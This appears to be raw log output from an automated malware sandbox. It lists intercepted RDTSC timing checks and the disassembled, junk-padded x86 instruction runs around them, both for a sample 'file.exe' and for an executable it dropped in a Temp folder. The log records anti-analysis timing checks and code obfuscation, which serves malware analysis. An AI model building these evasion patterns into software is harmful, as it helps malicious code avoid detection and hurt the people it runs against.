Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0555 second address: 4AD055B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD055B second address: 4AD055F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD055F second address: 4AD0577 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE3589D55BBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0577 second address: 4AD059D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD059D second address: 4AD05A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD05A3 second address: 4AD05A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD05A8 second address: 4AD05D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cl, bl 0x0000000f pushfd 0x00000010 jmp 00007FE3589D55BEh 0x00000015 add esi, 2D015CC8h 0x0000001b jmp 00007FE3589D55BBh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD05D9 second address: 4AD0605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE3588107CCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0605 second address: 4AD060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD060B second address: 4AD0648 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a jmp 00007FE3588107CFh 0x0000000f mov dx, si 0x00000012 popad 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007FE3588107D7h 0x0000001c mov cx, 5FDFh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0648 second address: 4AD06EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE3589D55C9h 0x00000011 nop 0x00000012 jmp 00007FE3589D55BEh 0x00000017 xchg eax, ebx 0x00000018 jmp 00007FE3589D55C0h 0x0000001d push eax 0x0000001e jmp 00007FE3589D55BBh 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FE3589D55BBh 0x0000002d sub cx, 7E9Eh 0x00000032 jmp 00007FE3589D55C9h 0x00000037 popfd 0x00000038 pushfd 0x00000039 jmp 00007FE3589D55C0h 0x0000003e add cx, F098h 0x00000043 jmp 00007FE3589D55BBh 0x00000048 popfd 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD06EB second address: 4AD06F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD06F1 second address: 4AD06F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0DB8 second address: 4AC0DD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0DD4 second address: 4AC0E36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE3589D55C1h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov dx, si 0x00000013 mov di, ax 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 pushad 0x00000019 movzx esi, di 0x0000001c mov dx, B3CEh 0x00000020 popad 0x00000021 push eax 0x00000022 jmp 00007FE3589D55C4h 0x00000027 xchg eax, ecx 0x00000028 pushad 0x00000029 mov cl, 7Dh 0x0000002b push eax 0x0000002c push edx 0x0000002d call 00007FE3589D55C9h 0x00000032 pop eax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0A9C second address: 4AD0AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0AA0 second address: 4AD0AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0AA6 second address: 4AD0AF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE3588107CBh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FE3588107CBh 0x00000019 sub eax, 4F803FBEh 0x0000001f jmp 00007FE3588107D9h 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0AF6 second address: 4AD0AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0B8D second address: 4AD0B93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0B93 second address: 4AD0C17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 0F22B2B3h 0x00000010 jmp 00007FE3589D55C1h 0x00000015 xor dword ptr [esp], 7A8C2E9Bh 0x0000001c pushad 0x0000001d mov al, 6Ah 0x0000001f mov dx, B1ACh 0x00000023 popad 0x00000024 call 00007FE3C999A556h 0x00000029 push 75A92B70h 0x0000002e push dword ptr fs:[00000000h] 0x00000035 mov eax, dword ptr [esp+10h] 0x00000039 mov dword ptr [esp+10h], ebp 0x0000003d lea ebp, dword ptr [esp+10h] 0x00000041 sub esp, eax 0x00000043 push ebx 0x00000044 push esi 0x00000045 push edi 0x00000046 mov eax, dword ptr [75AF4538h] 0x0000004b xor dword ptr [ebp-04h], eax 0x0000004e xor eax, ebp 0x00000050 push eax 0x00000051 mov dword ptr [ebp-18h], esp 0x00000054 push dword ptr [ebp-08h] 0x00000057 mov eax, dword ptr [ebp-04h] 0x0000005a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000061 mov dword ptr [ebp-08h], eax 0x00000064 lea eax, dword ptr [ebp-10h] 0x00000067 mov dword ptr fs:[00000000h], eax 0x0000006d ret 0x0000006e pushad 0x0000006f jmp 00007FE3589D55C1h 0x00000074 call 00007FE3589D55C0h 0x00000079 pop edx 0x0000007a popad 0x0000007b sub esi, esi 0x0000007d push eax 0x0000007e push edx 0x0000007f jmp 00007FE3589D55C8h 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0C17 second address: 4AD0C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0C1D second address: 4AD0C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF085B second address: 4AF0902 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE3588107CFh 0x00000009 and eax, 5B3B706Eh 0x0000000f jmp 00007FE3588107D9h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c jmp 00007FE3588107CCh 0x00000021 xchg eax, esi 0x00000022 jmp 00007FE3588107D0h 0x00000027 push eax 0x00000028 pushad 0x00000029 mov dh, E4h 0x0000002b mov ecx, 5A2639A9h 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 jmp 00007FE3588107D4h 0x00000037 mov esi, dword ptr [ebp+0Ch] 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FE3588107CDh 0x00000043 and si, 7B66h 0x00000048 jmp 00007FE3588107D1h 0x0000004d popfd 0x0000004e mov ecx, 5E08AF97h 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0902 second address: 4AF096F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007FE3589D55BEh 0x00000010 je 00007FE3C997304Ah 0x00000016 jmp 00007FE3589D55C0h 0x0000001b cmp dword ptr [75AF459Ch], 05h 0x00000022 jmp 00007FE3589D55C0h 0x00000027 je 00007FE3C998B0FDh 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE3589D55C7h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0A57 second address: 4AF0A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0A5B second address: 4AF0A76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0A76 second address: 4AF0AB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE3588107CFh 0x00000009 sbb eax, 7816BBAEh 0x0000000f jmp 00007FE3588107D9h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0AB5 second address: 4AF0AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0AB9 second address: 4AF0ABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0ABF second address: 4AF0ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3589D55C7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A6F801 second address: A6F80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jp 00007FE3588107CCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A5EE64 second address: A5EE6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A6EB55 second address: A6EB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jl 00007FE3588107CEh 0x0000000c jno 00007FE3588107C6h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A6ECDD second address: A6ECF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A6ECF9 second address: A6ED17 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE3588107C8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE3588107D0h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A6EF92 second address: A6EF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A6EF97 second address: A6EF9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A6EF9C second address: A6EFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3589D55BBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A6F124 second address: A6F133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FE3588107C6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A7184D second address: A71866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A71866 second address: A7186A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A7186A second address: A71898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE3589D55C3h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 jns 00007FE3589D55B6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A719EB second address: A719EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A719EF second address: A719F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A719F3 second address: A71A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE3588107D8h 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e jmp 00007FE3588107D1h 0x00000013 pop ebx 0x00000014 nop 0x00000015 xor cx, 2961h 0x0000001a push 00000000h 0x0000001c mov dl, C4h 0x0000001e call 00007FE3588107C9h 0x00000023 jmp 00007FE3588107CBh 0x00000028 push eax 0x00000029 jmp 00007FE3588107CDh 0x0000002e mov eax, dword ptr [esp+04h] 0x00000032 push esi 0x00000033 jmp 00007FE3588107CAh 0x00000038 pop esi 0x00000039 mov eax, dword ptr [eax] 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f pop eax 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A71A69 second address: A71A73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A71A73 second address: A71A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A71A77 second address: A71B26 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE3589D55B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push esi 0x00000010 jmp 00007FE3589D55C9h 0x00000015 pop esi 0x00000016 pop eax 0x00000017 cmc 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FE3589D55B8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 pushad 0x00000035 jl 00007FE3589D55C3h 0x0000003b call 00007FE3589D55BCh 0x00000040 pop eax 0x00000041 adc edi, 59A4361Bh 0x00000047 popad 0x00000048 jmp 00007FE3589D55C3h 0x0000004d push 00000000h 0x0000004f push 00000003h 0x00000051 push 00000000h 0x00000053 push eax 0x00000054 call 00007FE3589D55B8h 0x00000059 pop eax 0x0000005a mov dword ptr [esp+04h], eax 0x0000005e add dword ptr [esp+04h], 0000001Ah 0x00000066 inc eax 0x00000067 push eax 0x00000068 ret 0x00000069 pop eax 0x0000006a ret 0x0000006b push 84AA5D59h 0x00000070 push ebx 0x00000071 push eax 0x00000072 push edx 0x00000073 push esi 0x00000074 pop esi 0x00000075 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A71B26 second address: A71B69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 add dword ptr [esp], 3B55A2A7h 0x0000000e jmp 00007FE3588107D2h 0x00000013 lea ebx, dword ptr [ebp+12457694h] 0x00000019 mov edi, ecx 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d push ebx 0x0000001e pushad 0x0000001f popad 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FE3588107D3h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A71B69 second address: A71B87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE3589D55BCh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A71B87 second address: A71B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE3588107C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A84626 second address: A8462C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A6A882 second address: A6A887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A90994 second address: A909AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A909AD second address: A909CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE3588107C6h 0x0000000a jmp 00007FE3588107D5h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A909CE second address: A909D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A91233 second address: A9123D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A914E2 second address: A914FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FE3589D55BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A91792 second address: A91796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A91796 second address: A917B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C5h 0x00000007 jl 00007FE3589D55B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A917B5 second address: A917C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FE3588107C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A85D97 second address: A85DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3589D55BCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A92071 second address: A9208C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE3588107CFh 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A9208C second address: A920A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A920A1 second address: A920A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A921F5 second address: A9221C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE3589D55C8h 0x00000008 jne 00007FE3589D55B6h 0x0000000e jmp 00007FE3589D55BCh 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 ja 00007FE3589D55B6h 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A9221C second address: A9222F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FE3588107CAh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A92830 second address: A92836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A92836 second address: A9284F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE3588107CAh 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A9284F second address: A92855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A98FBB second address: A98FBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
